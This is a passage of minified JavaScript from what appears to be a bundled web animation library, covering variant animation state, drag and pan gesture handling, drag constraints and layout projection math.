r=e.getValue(t,null!==(i=e.latestValues[t])&&void 0!==i?i:null),o=l[t];if(void 0===o||d&&Lf(d,t))continue;const a={delay:n,elapsed:0,...Cd(s||{},t)};let p=!1;if(window.HandoffAppearAnimations){const n=e.getProps()[sc];if(n){const e=window.HandoffAppearAnimations(n,t,r,$u);null!==e&&(a.elapsed=e,p=!0)}}r.start(Nf(t,r,o,e.shouldReduceMotion&&zc.has(t)?{type:!1}:a,e,p));const f=r.animation;f&&(Tf(c)&&(c.add(t),f.then((()=>c.remove(t)))),u.push(f))}return a&&Promise.all(u).then((()=>{$u.update((()=>{a&&function(e,t){const n=vd(e,t);let{transitionEnd:r={},transition:o={},...i}=n||{};i={...i,...r};for(const t in i)Of(e,t,Ou(i[t]))}(e,a)}))})),u}function Bf(e,t,n={}){var r;const o=vd(e,t,"exit"===n.type?null===(r=e.presenceContext)||void 0===r?void 0:r.custom:void 0);let{transition:i=e.getDefaultTransition()||{}}=o||{};n.transitionOverride&&(i=n.transitionOverride);const s=o?()=>Promise.all(Ff(e,o,n)):()=>Promise.resolve(),a=e.variantChildren&&e.variantChildren.size?(r=0)=>{const{delayChildren:o=0,staggerChildren:s,staggerDirection:a}=i;return function(e,t,n=0,r=0,o=1,i){const s=[],a=(e.variantChildren.size-1)*r,l=1===o?(e=0)=>e*r:(e=0)=>a-e*r;return Array.from(e.variantChildren).sort(Vf).forEach(((e,r)=>{e.notify("AnimationStart",t),s.push(Bf(e,t,{...i,delay:n+l(r)}).then((()=>e.notify("AnimationComplete",t))))})),Promise.all(s)}(e,t,o+r,s,a,n)}:()=>Promise.resolve(),{when:l}=i;if(l){const[e,t]="beforeChildren"===l?[s,a]:[a,s];return e().then((()=>t()))}return Promise.all([s(),a(n.delay)])}function Vf(e,t){return e.sortNodePosition(t)}const $f=[...bc].reverse(),Hf=bc.length;function Wf(e){return t=>Promise.all(t.map((({animation:t,options:n})=>function(e,t,n={}){let r;if(e.notify("AnimationStart",t),Array.isArray(t)){const o=t.map((t=>Bf(e,t,n)));r=Promise.all(o)}else if("string"==typeof t)r=Bf(e,t,n);else{const o="function"==typeof t?vd(e,t,n.custom):t;r=Promise.all(Ff(e,o,n))}return r.then((()=>{$u.postRender((()=>{e.notify("AnimationComplete",t)}))}))}(e,t,n))))}function Uf(e){let t=Wf(e);const n={animate:Kf(!0),whileInView:Kf(),whileHover:Kf(),whileTap:Kf(),whileDrag:Kf(),whileFocus:Kf(),exit:Kf()};let r=!0;const o=t=>(n,r)=>{var o;const i=vd(e,r,"exit"===t?null===(o=e.presenceContext)||void 0===o?void 0:o.custom:void 0);if(i){const{transition:e,transitionEnd:t,...r}=i;n={...n,...r,...t}}return n};function i(i){const s=e.getProps(),a=e.getVariantContext(!0)||{},l=[],c=new Set;let u={},d=1/0;for(let t=0;t<Hf;t++){const p=$f[t],f=n[p],h=void 0!==s[p]?s[p]:a[p],m=gc(h),g=p===i?f.isActive:null;!1===g&&(d=t);let v=h===a[p]&&h!==s[p]&&m;if(v&&r&&e.manuallyAnimateOnMount&&(v=!1),f.protectedKeys={...u},!f.isActive&&null===g||!h&&!f.prevProp||vc(h)||"boolean"==typeof h)continue;let b=Gf(f.prevProp,h)||p===i&&f.isActive&&!v&&m||t>d&&m,x=!1;const y=Array.isArray(h)?h:[h];let w=y.reduce(o(p),{});!1===g&&(w={});const{prevResolvedValues:_={}}=f,S={..._,...w},C=t=>{b=!0,c.has(t)&&(x=!0,c.delete(t)),f.needsAnimating[t]=!0;const n=e.getValue(t);n&&(n.liveStyle=!1)};for(const e in S){const t=w[e],n=_[e];if(u.hasOwnProperty(e))continue;let r=!1;r=zu(t)&&zu(n)?!gd(t,n):t!==n,r?null!=t?C(e):c.add(e):void 0!==t&&c.has(e)?C(e):f.protectedKeys[e]=!0}f.prevProp=h,f.prevResolvedValues=w,f.isActive&&(u={...u,...w}),r&&e.blockInitialAnimation&&(b=!1),!b||v&&!x||l.push(...y.map((e=>({animation:e,options:{type:p}}))))}if(c.size){const t={};c.forEach((n=>{const r=e.getBaseTarget(n),o=e.getValue(n);o&&(o.liveStyle=!0),t[n]=null!=r?r:null})),l.push({animation:t})}let p=Boolean(l.length);return!r||!1!==s.initial&&s.initial!==s.animate||e.manuallyAnimateOnMount||(p=!1),r=!1,p?t(l):Promise.resolve()}return{animateChanges:i,setActive:function(t,r){var o;if(n[t].isActive===r)return Promise.resolve();null===(o=e.variantChildren)||void 0===o||o.forEach((e=>{var n;return null===(n=e.animationState)||void 0===n?void 0:n.setActive(t,r)})),n[t].isActive=r;const s=i(t);for(const e in n)n[e].protectedKeys={};return s},setAnimateFunction:function(n){t=n(e)},getState:()=>n}}function Gf(e,t){return"string"==typeof t?t!==e:!!Array.isArray(t)&&!gd(t,e)}function Kf(e=!1){return{isActive:e,protectedKeys:{},needsAnimating:{},prevResolvedValues:{}}}let qf=0;const Yf={animation:{Feature:class extends id{constructor(e){super(e),e.animationState||(e.animationState=Uf(e))}updateAnimationControlsSubscription(){const{animate:e}=this.node.getProps();this.unmount(),vc(e)&&(this.unmount=e.subscribe(this.node))}mount(){this.updateAnimationControlsSubscription()}update(){const{animate:e}=this.node.getProps(),{animate:t}=this.node.prevProps||{};e!==t&&this.updateAnimationControlsSubscription()}unmount(){}}},exit:{Feature:class extends id{constructor(){super(...arguments),this.id=qf++}update(){if(!this.node.presenceContext)return;const{isPresent:e,onExitComplete:t}=this.node.presenceContext,{isPresent:n}=this.node.prevPresenceContext||{};if(!this.node.animationState||e===n)return;const r=this.node.animationState.setActive("exit",!e);t&&!e&&r.then((()=>t(this.id)))}mount(){const{register:e}=this.node.presenceContext||{};e&&(this.unmount=e(this.id))}unmount(){}}}},Xf=(e,t)=>Math.abs(e-t);class Zf{constructor(e,t,{transformPagePoint:n,contextWindow:r,dragSnapToOrigin:o=!1}={}){if(this.startEvent=null,this.lastMoveEvent=null,this.lastMoveEventInfo=null,this.handlers={},this.contextWindow=window,this.updatePoint=()=>{if(!this.lastMoveEvent||!this.lastMoveEventInfo)return;const e=eh(this.lastMoveEventInfo,this.history),t=null!==this.startEvent,n=function(e,t){const n=Xf(e.x,t.x),r=Xf(e.y,t.y);return Math.sqrt(n**2+r**2)}(e.offset,{x:0,y:0})>=3;if(!t&&!n)return;const{point:r}=e,{timestamp:o}=Wu;this.history.push({...r,timestamp:o});const{onStart:i,onMove:s}=this.handlers;t||(i&&i(this.lastMoveEvent,e),this.startEvent=this.lastMoveEvent),s&&s(this.lastMoveEvent,e)},this.handlePointerMove=(e,t)=>{this.lastMoveEvent=e,this.lastMoveEventInfo=Qf(t,this.transformPagePoint),$u.update(this.updatePoint,!0)},this.handlePointerUp=(e,t)=>{this.end();const{onEnd:n,onSessionEnd:r,resumeAnimation:o}=this.handlers;if(this.dragSnapToOrigin&&o&&o(),!this.lastMoveEvent||!this.lastMoveEventInfo)return;const i=eh("pointercancel"===e.type?this.lastMoveEventInfo:Qf(t,this.transformPagePoint),this.history);this.startEvent&&n&&n(e,i),r&&r(e,i)},!Yu(e))return;this.dragSnapToOrigin=o,this.handlers=t,this.transformPagePoint=n,this.contextWindow=r||window;const i=Qf(Xu(e),this.transformPagePoint),{point:s}=i,{timestamp:a}=Wu;this.history=[{...s,timestamp:a}];const{onSessionStart:l}=t;l&&l(e,eh(i,this.history)),this.removeListeners=Ju(Zu(this.contextWindow,"pointermove",this.handlePointerMove),Zu(this.contextWindow,"pointerup",this.handlePointerUp),Zu(this.contextWindow,"pointercancel",this.handlePointerUp))}updateHandlers(e){this.handlers=e}end(){this.removeListeners&&this.removeListeners(),Hu(this.updatePoint)}}function Qf(e,t){return t?{point:t(e.point)}:e}function Jf(e,t){return{x:e.x-t.x,y:e.y-t.y}}function eh({point:e},t){return{point:e,delta:Jf(e,nh(t)),offset:Jf(e,th(t)),velocity:rh(t,.1)}}function th(e){return e[0]}function nh(e){return e[e.length-1]}function rh(e,t){if(e.length<2)return{x:0,y:0};let n=e.length-1,r=null;const o=nh(e);for(;n>=0&&(r=e[n],!(o.timestamp-r.timestamp>bd(t)));)n--;if(!r)return{x:0,y:0};const i=xd(o.timestamp-r.timestamp);if(0===i)return{x:0,y:0};const s={x:(o.x-r.x)/i,y:(o.y-r.y)/i};return s.x===1/0&&(s.x=0),s.y===1/0&&(s.y=0),s}function oh(e){return e.max-e.min}function ih(e,t=0,n=.01){return Math.abs(e-t)<=n}function sh(e,t,n,r=.5){e.origin=r,e.originPoint=Qp(t.min,t.max,e.origin),e.scale=oh(n)/oh(t),(ih(e.scale,1,1e-4)||isNaN(e.scale))&&(e.scale=1),e.translate=Qp(n.min,n.max,e.origin)-e.originPoint,(ih(e.translate)||isNaN(e.translate))&&(e.translate=0)}function ah(e,t,n,r){sh(e.x,t.x,n.x,r?r.originX:void 0),sh(e.y,t.y,n.y,r?r.originY:void 0)}function lh(e,t,n){e.min=n.min+t.min,e.max=e.min+oh(t)}function ch(e,t,n){e.min=t.min-n.min,e.max=e.min+oh(t)}function uh(e,t,n){ch(e.x,t.x,n.x),ch(e.y,t.y,n.y)}function dh(e,t,n){return{min:void 0!==t?e.min+t:void 0,max:void 0!==n?e.max+n-(e.max-e.min):void 0}}function ph(e,t){let n=t.min-e.min,r=t.max-e.max;return t.max-t.min<e.max-e.min&&([n,r]=[r,n]),{min:n,max:r}}const fh=.35;function hh(e,t,n){return{min:mh(e,t),max:mh(e,n)}}function mh(e,t){return"number"==typeof e?e:e[t]||0}function gh(e){return[e("x"),e("y")]}function vh({top:e,left:t,right:n,bottom:r}){return{x:{min:t,max:n},y:{min:e,max:r}}}function bh(e){return void 0===e||1===e}function xh({scale:e,scaleX:t,scaleY:n}){return!bh(e)||!bh(t)||!bh(n)}function yh(e){return xh(e)||wh(e)||e.z||e.rotate||e.rotateX||e.rotateY||e.skewX||e.skewY}function wh(e){return _h(e.x)||_h(e.y)}function _h(e){return e&&"0%"!==e}function Sh(e,t,n){return n+t*(e-n)}function Ch(e,t,n,r,o){return void 0!==o&&(e=Sh(e,o,r)),Sh(e,n,r)+t}function kh(e,t=0,n=1,r,o){e.min=Ch(e.min,t,n,r,o),e.max=Ch(e.max,t,n,r,o)}function jh(e,{x:t,y:n}){kh(e.x,t.translate,t.scale,t.originPoint),kh(e.y,n.translate,n.scale,n.originPoint)}function Eh(e){return Number.isInteger(e)||e>1.0000000000001||e<.999999999999?e:1}function Ph(e,t){e.min=e.min+t,e.max=e.max+t}function Nh(e,t,[n,r,o]){const i=void 0!==t[o]?t[o]:.5,s=Qp(e.min,e.max,i);kh(e,t[n],t[r],s,t.scale)}const Th=["x","scaleX","originX"],Ih=["y","scaleY","originY"];function Rh(e,t){Nh(e.x,t,Th),Nh(e.y,t,Ih)}function Mh(e,t){return vh(function(e,t){if(!t)return e;const n=t({x:e.left,y:e.top}),r=t({x:e.right,y:e.bottom});return{top:n.y,left:n.x,bottom:r.y,right:r.x}}(e.getBoundingClientRect(),t))}const Ah=({current:e})=>e?e.ownerDocument.defaultView:null,Dh=new WeakMap;class zh{constructor(e){this.openGlobalLock=null,this.isDragging=!1,this.currentDirection=null,this.originPoint={x:0,y:0},this.constraints=!1,this.hasMutatedConstraints=!1,this.elastic={x:{min:0,max:0},y:{min:0,max:0}},this.visualElement=e}start(e,{snapToCursor:t=!1}={}){const{presenceContext:n}=this.visualElement;if(n&&!1===n.isPresent)return;const{dragSnapToOrigin:r}=this.getProps();this.panSession=new Zf(e,{onSessionStart:e=>{const{dragSnapToOrigin:n}=this.getProps();n?this.pauseAnimation():this.stopAnimation(),t&&this.snapToCursor(Xu(e,"page").point)},onStart:(e,t)=>{const{drag:n,dragPropagation:r,onDragStart:o}=this.getProps();if(n&&!r&&(this.openGlobalLock&&this.openGlobalLock(),this.openGlobalLock=rd(n),!this.openGlobalLock))return;this.isDragging=!0,this.currentDirection=null,this.resolveConstraints(),this.visualElement.projection&&(this.visualElement.projection.isAnimationBlocked=!0,this.visualElement.projection.target=void 0),gh((e=>{let t=this.getAxisMotionValue(e).get()||0;if(ou.test(t)){const{projection:n}=this.visualElement;if(n&&n.layout){const r=n.layout.layoutBox[e];if(r){t=oh(r)*(parseFloat(t)/100)}}}this.originPoint[e]=t})),o&&$u.postRender((()=>o(e,t)));const{animationState:i}=this.visualElement;i&&i.setActive("whileDrag",!0)},onMove:(e,t)=>{const{dragPropagation:n,dragDirectionLock:r,onDirectionLock:o,onDrag:i}=this.getProps();if(!n&&!this.openGlobalLock)return;const{offset:s}=t;if(r&&null===this.currentDirection)return this.currentDirection=function(e,t=10){let n=null;Math.abs(e.y)>t?n="y":Math.abs(e.x)>t&&(n="x");return n}(s),void(null!==this.currentDirection&&o&&o(this.currentDirection));this.updateAxis("x",t.point,s),this.updateAxis("y",t.point,s),this.visualElement.render(),i&&i(e,t)},onSessionEnd:(e,t)=>this.stop(e,t),resumeAnimation:()=>gh((e=>{var t;return"paused"===this.getAnimationState(e)&&(null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.play())}))},{transformPagePoint:this.visualElement.getTransformPagePoint(),dragSnapToOrigin:r,contextWindow:Ah(this.visualElement)})}stop(e,t){const n=this.isDragging;if(this.cancel(),!n)return;const{velocity:r}=t;this.startAnimation(r);const{onDragEnd:o}=this.getProps();o&&$u.postRender((()=>o(e,t)))}cancel(){this.isDragging=!1;const{projection:e,animationState:t}=this.visualElement;e&&(e.isAnimationBlocked=!1),this.panSession&&this.panSession.end(),this.panSession=void 0;const{dragPropagation:n}=this.getProps();!n&&this.openGlobalLock&&(this.openGlobalLock(),this.openGlobalLock=null),t&&t.setActive("whileDrag",!1)}updateAxis(e,t,n){const{drag:r}=this.getProps();if(!n||!Oh(e,r,this.currentDirection))return;const o=this.getAxisMotionValue(e);let i=this.originPoint[e]+n[e];this.constraints&&this.constraints[e]&&(i=function(e,{min:t,max:n},r){return void 0!==t&&e<t?e=r?Qp(t,e,r.min):Math.max(e,t):void 0!==n&&e>n&&(e=r?Qp(n,e,r.max):Math.min(e,n)),e}(i,this.constraints[e],this.elastic[e])),o.set(i)}resolveConstraints(){var e;const{dragConstraints:t,dragElastic:n}=this.getProps(),r=this.visualElement.projection&&!this.visualElement.projection.layout?this.visualElement.projection.measure(!1):null===(e=this.visualElement.projection)||void 0===e?void 0:e.layout,o=this.constraints;t&&hc(t)?this.constraints||(this.constraints=this.resolveRefConstraints()):this.constraints=!(!t||!r)&&function(e,{top:t,left:n,bottom:r,right:o}){return{x:dh(e.x,n,o),y:dh(e.y,t,r)}}(r.layoutBox,t),this.elastic=function(e=fh){return!1===e?e=0:!0===e&&(e=fh),{x:hh(e,"left","right"),y:hh(e,"top","bottom")}}(n),o!==this.constraints&&r&&this.constraints&&!this.hasMutatedConstraints&&gh((e=>{!1!==this.constraints&&this.getAxisMotionValue(e)&&(this.constraints[e]=function(e,t){const n={};return void 0!==t.min&&(n.min=t.min-e.min),void 0!==t.max&&(n.max=t.max-e.min),n}(r.layoutBox[e],this.constraints[e]))}))}resolveRefConstraints(){const{dragConstraints:e,onMeasureDragConstraints:t}=this.getProps();if(!e||!hc(e))return!1;const n=e.current;Md(null!==n,"If `dragConstraints` is set as a React ref, that ref must be passed to another component's `ref` prop.");const{projection:r}=this.visualElement;if(!r||!r.layout)return!1;const o=function(e,t,n){const r=Mh(e,n),{scroll:o}=t;return o&&(Ph(r.x,o.offset.x),Ph(r.y,o.offset.y)),r}(n,r.root,this.visualElement.getTransformPagePoint());let i=function(e,t){return{x:ph(e.x,t.x),y:ph(e.y,t.y)}}(r.layout.layoutBox,o);if(t){const e=t(function({x:e,y:t}){return{top:t.min,right:e.max,bottom:t.max,left:e.min}}(i));this.hasMutatedConstraints=!!e,e&&(i=vh(e))}return i}startAnimation(e){const{drag:t,dragMomentum:n,dragElastic:r,dragTransition:o,dragSnapToOrigin:i,onDragTransitionEnd:s}=this.getProps(),a=this.constraints||{},l=gh((s=>{if(!Oh(s,t,this.currentDirection))return;let l=a&&a[s]||{};i&&(l={min:0,max:0});const c=r?200:1e6,u=r?40:1e7,d={type:"inertia",velocity:n?e[s]:0,bounceStiffness:c,bounceDamping:u,timeConstant:750,restDelta:1,restSpeed:10,...o,...l};return this.startAxisValueAnimation(s,d)}));return Promise.all(l).then(s)}startAxisValueAnimation(e,t){const n=this.getAxisMotionValue(e);return n.start(Nf(e,n,0,t,this.visualElement))}stopAnimation(){gh((e=>this.getAxisMotionValue(e).stop()))}pauseAnimation(){gh((e=>{var t;return null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.pause()}))}getAnimationState(e){var t;return null===(t=this.getAxisMotionValue(e).animation)||void 0===t?void 0:t.state}getAxisMotionValue(e){const t=`_drag${e.toUpperCase()}`,n=this.visualElement.getProps(),r=n[t];return r||this.visualElement.getValue(e,(n.initial?n.initial[e]:void 0)||0)}snapToCursor(e){gh((t=>{const{drag:n}=this.getProps();if(!Oh(t,n,this.currentDirection))return;const{projection:r}=this.visualElement,o=this.getAxisMotionValue(t);if(r&&r.layout){const{min:n,max:i}=r.layout.layoutBox[t];o.set(e[t]-Qp(n,i,.5))}}))}scalePositionWithinConstraints(){if(!this.visualElement.current)return;const{drag:e,dragConstraints:t}=this.getProps(),{projection:n}=this.visualElement;if(!hc(t)||!n||!this.constraints)return;this.stopAnimation();const r={x:0,y:0};gh((e=>{const t=this.getAxisMotionValue(e);if(t&&!1!==this.constraints){const n=t.get();r[e]=function(e,t){let n=.5;const r=oh(e),o=oh(t);return o>r?n=Zp(t.min,t.max-r,e.min):r>o&&(n=Zp(e.min,e.max-o,t.min)),Kc(0,1,n)}({min:n,max:n},this.constraints[e])}}));const{transformTemplate:o}=this.visualElement.getProps();this.visualElement.current.style.transform=o?o({},""):"none",n.root&&n.root.updateScroll(),n.updateLayout(),this.resolveConstraints(),gh((t=>{if(!Oh(t,e,null))return;const n=this.getAxisMotionValue(t),{min:o,max:i}=this.constraints[t];n.set(Qp(o,i,r[t]))}))}addListeners(){if(!this.visualElement.current)return;Dh.set(this.visualElement,this);const e=Zu(this.visualElement.current,"pointerdown",(e=>{const{drag:t,dragListener:n=!0}=this.getProps();t&&n&&this.start(e)})),t=()=>{const{dragConstraints:e}=this.getProps();hc(e)&&(this.constraints=this.resolveRefConstraints())},{projection:n}=this.visualElement,r=n.addEventListener("measure",t);n&&!n.layout&&(n.root&&n.root.updateScroll(),n.updateLayout()),t();const o=qu(window,"resize",(()=>this.scalePositionWithinConstraints())),i=n.addEventListener("didUpdate",(({delta:e,hasLayoutChanged:t})=>{this.isDragging&&t&&(gh((t=>{const n=this.getAxisMotionValue(t);n&&(this.originPoint[t]+=e[t].translate,n.set(n.get()+e[t].translate))})),this.visualElement.render())}));return()=>{o(),e(),r(),i&&i()}}getProps(){const e=this.visualElement.getProps(),{drag:t=!1,dragDirectionLock:n=!1,dragPropagation:r=!1,dragConstraints:o=!1,dragElastic:i=fh,dragMomentum:s=!0}=e;return{...e,drag:t,dragDirectionLock:n,dragPropagation:r,dragConstraints:o,dragElastic:i,dragMomentum:s}}}function Oh(e,t,n){return!(!0!==t&&t!==e||null!==n&&n!==e)}const Lh=e=>(t,n)=>{e&&$u.postRender((()=>e(t,n)))};const Fh={hasAnimatedSinceResize:!0,hasEverUpdated:!1};function Bh(e,t){return t.max===t.min?0:e/(t.max-t.min)*100}const Vh={correct:(e,t)=>{if(!t.target)return e;if("string"==typeof e){if(!iu.test(e))return e;e=parseFloat(e)}return`${Bh(e,t.target.x)}% ${Bh(e,t.target.y)}%`}},$h={correct:(e,{treeScale:t,projectionDelta:n})=>{const r=e,o=fp.parse(e);if(o.length>5)return r;const i=fp.createTransformer(e),s="number"!=typeof o[0]?1:0,a=n.x.scale*t.x,l=n.y.scale*t.y;o[0+s]/=a,o[1+s]/=l;const c=Qp(a,l,.5);return"number"==typeof o[2+s]&&(o[2+s]/=c),"number"==typeof o[3+s]&&(o[3+s]/=c),i(o)}};class Hh extends B.Component{componentDidMount(){const{visualElement:e,layoutGroup:t,switchLayoutGroup:n,layoutId:r}=this.props,{projection:o}=e;var i;i=Uh,Object.assign(Ac,i),o&&(t.group&&t.group.add(o),n&&n.register&&r&&n.register(o),o.root.didUpdate(),o.addEventListener("animationComplete",(()=>{this.safeToRemove()})),o.setOptions({...o.options,onExitComplete:()=>this.safeToRemove()})),Fh.hasEverUpdated=!0}getSnapshotBeforeUpdate(e){const{layoutDependency:t,visualElement:n,drag:r,isPresent:o}=this.props,i=n.projection;return i?(i.isPresent=o,r||e.layoutDependency!==t||void 0===t?i.willUpdate():this.safeToRemove(),e.isPresent!==o&&(o?i.promote():i.relegate()||$u.postRender((()=>{const e=i.getStack();e&&e.members.length||this.safeToRemove()}))),null):null}componentDidUpdate(){const{projection:e}=this.props.visualElement;e&&(e.root.didUpdate(),pc.postRender((()=>{!e.currentAnimation&&e.isLead()&&this.safeToRemove()})))}componentWillUnmount(){const{visualElement:e,layoutGroup:t,switchLayoutGroup:n}=this.props,{projection:r}=e;r&&(r.scheduleCheckAfterUnmount(),t&&t.group&&t.group.remove(r),n&&n.deregister&&n.deregister(r))}safeToRemove(){const{safeToRemove:e}=this.props;e&&e()}render(){return null}}function Wh(e){const[t,n]=function(){const e=(0,B.useContext)(tc);if(null===e)return[!0,null];const{isPresent:t,onExitComplete:n,register:r}=e,o=(0,B.useId)();return(0,B.useEffect)((()=>r(o)),[]),!t&&n?[!1,()=>n&&n(o)]:[!0]}(),r=(0,B.useContext)(jc);return(0,_t.jsx)(Hh,{...e,layoutGroup:r,switchLayoutGroup:(0,B.useContext)(Ec),isPresent:t,safeToRemove:n})}const Uh={borderRadius:{...Vh,applyTo:["borderTopLeftRadius","borderTopRightRadius","borderBottomLeftRadius","borderBottomRightRadius"]},borderTopLeftRadius:Vh,borderTopRightRadius:Vh,borderBottomLeftRadius:Vh,borderBottomRightRadius:Vh,boxShadow:$h},Gh=["TopLeft","TopRight","BottomLeft","BottomRight"],Kh=Gh.length,qh=e=>"string"==typeof e?parseFloat(e):e,Yh=e=>"number"==typeof e||iu.test(e);function Xh(e,t){return void 0!==e[t]?e[t]:e.borderRadius}const Zh=Jh(0,.5,Wp),Qh=Jh(.5,.95,Vu);function Jh(e,t,n){return r=>r<e?0:r>t?1:n(Zp(e,t,r))}function em(e,t){e.min=t.min,e.max=t.max}function tm(e,t){em(e.x,t.x),em(e.y,t.y)}function nm(e,t,n,r,o){return e=Sh(e-=t,1/n,r),void 0!==o&&(e=Sh(e,1/o,r)),e}function rm(e,t,[n,r,o],i,s){!function(e,t=0,n=1,r=.5,o,i=e,s=e){ou.test(t)&&(t=parseFloat(t),t=Qp(s.min,s.max,t/100)-s.min);if("number"!=typeof t)return;let a=Qp(i.min,i.max,r);e===i&&(a-=t),e.min=nm(e.min,t,n,a,o),e.max=nm(e.max,t,n,a,o)}(e,t[n],t[r],t[o],t.scale,i,s)}const om=["x","scaleX","originX"],im=["y","scaleY","originY"];function sm(e,t,n,r){rm(e.x,t,om,n?n.x:void 0,r?r.x:void 0),rm(e.y,t,im,n?n.y:void 0,r?r.y:void 0)}function am(e){return 0===e.translate&&1===e.scale}function lm(e){return am(e.x)&&am(e.y)}function cm(e,t){return Math.round(e.x.min)===Math.round(t.x.min)&&Math.round(e.x.max)===Math.round(t.x.max)&&Math.round(e.y.min)===Math.round(t.y.min)&&Math.round(e.y.max)===Math.round(t.y.max)}function um(e){return oh(e.x)/oh(e.y)}class dm{constructor(){this.members=[]}add(e){If(this.members,e),e.scheduleRender()}remove(e){if(Rf(this.members,e),e===this.prevLead&&(this.prevLead=void 0),e===this.lead){const e=this.members[this.members.length-1];e&&this.promote(e)}}relegate(e){const t=this.members.findIndex((t=>e===t));if(0===t)return!1;let n;for(let e=t;e>=0;e--){const t=this.members[e];if(!1!==t.isPresent){n=t;break}}return!!n&&(this.promote(n),!0)}promote(e,t){const n=this.lead;if(e!==n&&(this.prevLead=n,this.lead=e,e.show(),n)){n.instance&&n.scheduleRender(),e.scheduleRender(),e.resumeFrom=n,t&&(e.resumeFrom.preserveOpacity=!0),n.snapshot&&(e.snapshot=n.snapshot,e.snapshot.latestValues=n.animationValues||n.latestValues),e.root&&e.root.isUpdating&&(e.isLayoutDirty=!0);const{crossfade:r}=e.options;!1===r&&n.hide()}}exitAnimationComplete(){this.members.forEach((e=>{const{options:t,resumingFrom:n}=e;t.onExitComplete&&t.onExitComplete(),n&&n.options.onExitComplete&&n.options.onExitComplete()}))}scheduleRender(){this.members.forEach((e=>{e.instance&&e.scheduleRender(!1)}))}removeLeadSnapshot(){this.lead&&this.lead.snapshot&&(this.lead.snapshot=void 0)}}function pm(e,t,n){let r="";const o=e.x.translate/t.x,i=e.y.translate/t.y,s=(null==n?void 0:n.z)||0;if((o||i||s)&&(r=`translate3d(${o}px, ${i}px, ${s}px) `),1===t.x&&1===t.y||(r+=`scale(${1/t.x}, ${1/t.y}) `),n){const{transformPerspective:e,rotate:t,rotateX:o,rotateY:i,skewX:s,skewY:a}=n;e&&(r=`perspective(${e}px) ${r}`),t&&(r+=`rotate(${t}deg) `),o&&(r+=`rotateX(${o}deg) `),i&&(r+=`rotateY(${i}deg) `),s&&(r+=`skewX(${s}deg) `),a&&(r+=`skewY(${a}deg) `)}const a=e.x.scale*t.x,l=e.y.scale*t.y;return 1===a&&1===l||(r+=`scale(${a}, ${l})`),r||"none"}const fm=(e,t)=>e.depth-t.depth;class hm{constructor(){this.children=[],this.isDirty=!1}add(e){If(this.children,e),this.isDirty=!0}remove(e){Rf(this.children,e),this.isDirty=!0}forEach(e){this.isDirty&&this.children.sort(fm),this.isDirty=!1,this.children.forEach(e)}}const mm=["","X","Y","Z"],gm={visibility:"hidden"};let vm=0;const bm={type:"projectionFrame",totalNodes:0,resolvedTargetDeltas:0,recalculatedProjection:0};function xm(e,t,n,r){const{latestValues:o}=t;o[e]&&(n[e]=o[e],t.setStaticValue(e,0),r&&(r[e]=0))}function ym({attachResizeListener:e,defaultParent:t,measureScroll:n,checkIsScrollRoot:r,resetTransform:o}){return class{constructor(e={},n=(null==t?void 0:t())){this.id=vm++,this.animationId=0,this.children=new Set,this.options={},this.isTreeAnimating=!1,this.isAnimationBlocked=!1,this.isLayoutDirty=!1,this.isProjectionDirty=!1,this.isSharedProjectionDirty=!1,this.isTransformDirty=!1,this.updateManuallyBlocked=!1,this.updateBlockedByResize=!1,this.isUpdating=!1,this.isSVG=!1,this.needsReset=!1,this.shouldResetTransform=!1,this.treeScale={x:1,y:1},this.eventHandlers=new Map,this.hasTreeAnimated=!1,this.updateScheduled=!1,this.projectionUpdateScheduled=!1,this.checkUpdateFailed=()=>{this.isUpdating&&(this.isUpdating=!1,this.clearAllSnapshots())},this.updateProjection=()=>{var e;this.projectionUpdateScheduled=!1,bm.totalNodes=bm.resolvedTargetDeltas=bm.recalculatedProjection=0,this.nodes.forEach(Sm),this.nodes.forEach(Tm),this.nodes.forEach(Im),this.nodes.forEach(Cm),e=bm,window.MotionDebug&&window.MotionDebug.record(e)},this.hasProjected=!1,this.isVisible=!0,this.animationProgress=0,this.sharedNodes=new Map,this.latestValues=e,this.root=n?n.root||n:this,this.path=n?[...n.path,n]:[],this.parent=n,this.depth=n?n.depth+1:0;for(let e=0;e<this.path.length;e++)this.path[e].shouldResetTransform=!0;this.root===this&&(this.nodes=new hm)}addEventListener(e,t){return this.eventHandlers.has(e)||this.eventHandlers.set(e,new Mf),this.eventHandlers.get(e).add(t)}notifyListeners(e,...t){const n=this.eventHandlers.get(e);n&&n.notify(...t)}hasListeners(e){return this.eventHandlers.has(e)}mount(t,n=this.root.hasTreeAnimated){if(this.instance)return;var r;this.isSVG=(r=t)instanceof SVGElement&&"svg"!==r.tagName,this.instance=t;const{layoutId:o,layout:i,visualElement:s}=this.options;if(s&&!s.current&&s.mount(t),this.root.nodes.add(this),this.parent&&this.parent.children.add(this),n&&(i||o)&&(this.isLayoutDirty=!0),e){let n;const r=()=>this.root.updateBlockedByResize=!1;e(t,(()=>{this.root.updateBlockedByResize=!0,n&&n(),n=function(e,t){const n=Td.now(),r=({timestamp:o})=>{const i=o-n;i>=t&&(Hu(r),e(i-t))};return $u.read(r,!0),()=>Hu(r)}(r,250),Fh.hasAnimatedSinceResize&&(Fh.hasAnimatedSinceResize=!1,this.nodes.forEach(Nm))}))}o&&this.root.registerSharedNode(o,this),!1!==this.options.animate&&s&&(o||i)&&this.addEventListener("didUpdate",(({delta:e,hasLayoutChanged:t,hasRelativeTargetChanged:n,layout:r})=>{if(this.isTreeAnimationBlocked())return this.target=void 0,void(this.relativeTarget=void 0);const o=this.options.transition||s.getDefaultTransition()||Om,{onLayoutAnimationStart:i,onLayoutAnimationComplete:a}=s.getProps(),l=!this.targetLayout||!cm(this.targetLayout,r)||n,c=!t&&n;if(this.options.layoutRoot||this.resumeFrom&&this.resumeFrom.instance||c||t&&(l||!this.currentAnimation)){this.resumeFrom&&(this.resumingFrom=this.resumeFrom,this.resumingFrom.resumingFrom=void 0),this.setAnimationOrigin(e,c);const t={...Cd(o,"layout"),onPlay:i,onComplete:a};(s.shouldReduceMotion||this.options.layoutRoot)&&(t.delay=0,t.type=!1),this.startAnimation(t)}else t||Nm(this),this.isLead()&&this.options.onExitComplete&&this.options.onExitComplete();this.targetLayout=r}))}unmount(){this.options.layoutId&&this.willUpdate(),this.root.nodes.remove(this);const e=this.getStack();e&&e.remove(this),this.parent&&this.parent.children.delete(this),this.instance=void 0,Hu(this.updateProjection)}blockUpdate(){this.updateManuallyBlocked=!0}unblockUpdate(){this.updateManuallyBlocked=!1}isUpdateBlocked(){return this.updateManuallyBlocked||this.updateBlockedByResize}isTreeAnimationBlocked(){return 